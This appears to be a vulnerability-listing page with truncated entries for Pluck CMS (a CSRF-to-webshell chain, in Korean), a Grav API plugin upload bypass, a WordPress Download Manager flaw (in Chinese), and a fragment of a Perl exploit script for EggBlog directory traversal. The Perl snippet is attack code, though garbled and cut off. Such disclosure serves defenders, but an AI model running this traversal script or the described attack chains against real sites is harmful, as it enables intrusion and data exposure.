CVE-2026-70376

CVE-2026-70376 — Pluck CMS 사이트 전역 CSRF → RCE Fail-open Referer 검사 + CSRF 토큰 없음 + 이중 확장자 업로드 단 한 번의 관리자 페이지 방문으로 콘텐츠 삭제, 페이지 주입, 웹셸webshell 설치가 가능합니다 한눈에 보기 · 요약 · 근본 원인 · 공격 체인 · 익스플로잇 · 수정 방안 · 타임라인 📋 한눈에 보기 | ---|--- CVE ID| CVE-2026-70376 Tracking ID| PT-2026-68036 제품| pluck-cms/pluck — Pluck...

CVE-2026-61457

The Grav API plugin getgrav/grav-plugin-api before 1.0.3 contains a file upload extension bypass in the API media controller. HandlesMediaUploads::validateFileExtension inspects only the final file extension via pathinfo$filename, PATHINFOEXTENSION, so a user with api.media.write permission can...

WordPress plugin Download Manager 代码问题漏洞

WordPress and WordPress plugin are both products of the WordPress Foundation.WordPress is a blogging platform developed using the PHP language. The platform supports personal blog sites on PHP and MySQL servers.WordPress plugin is an application plugin. A code issue exists in WordPress plugin...

EggBlog 4.1.1 - Local Directory Traversal

!/usr/bin/perl eggBlog agent'Lynx textmode'; $lib-timeout5; $response = $lib-get"http://$domain/lib/openwysiwyg/addons/imagelibrary/selectimage.php?dir=$param"; @director = $response-content = /.+?/ig; for my $i=0;$i=scalar@director;$i++ print $director$i."\n";...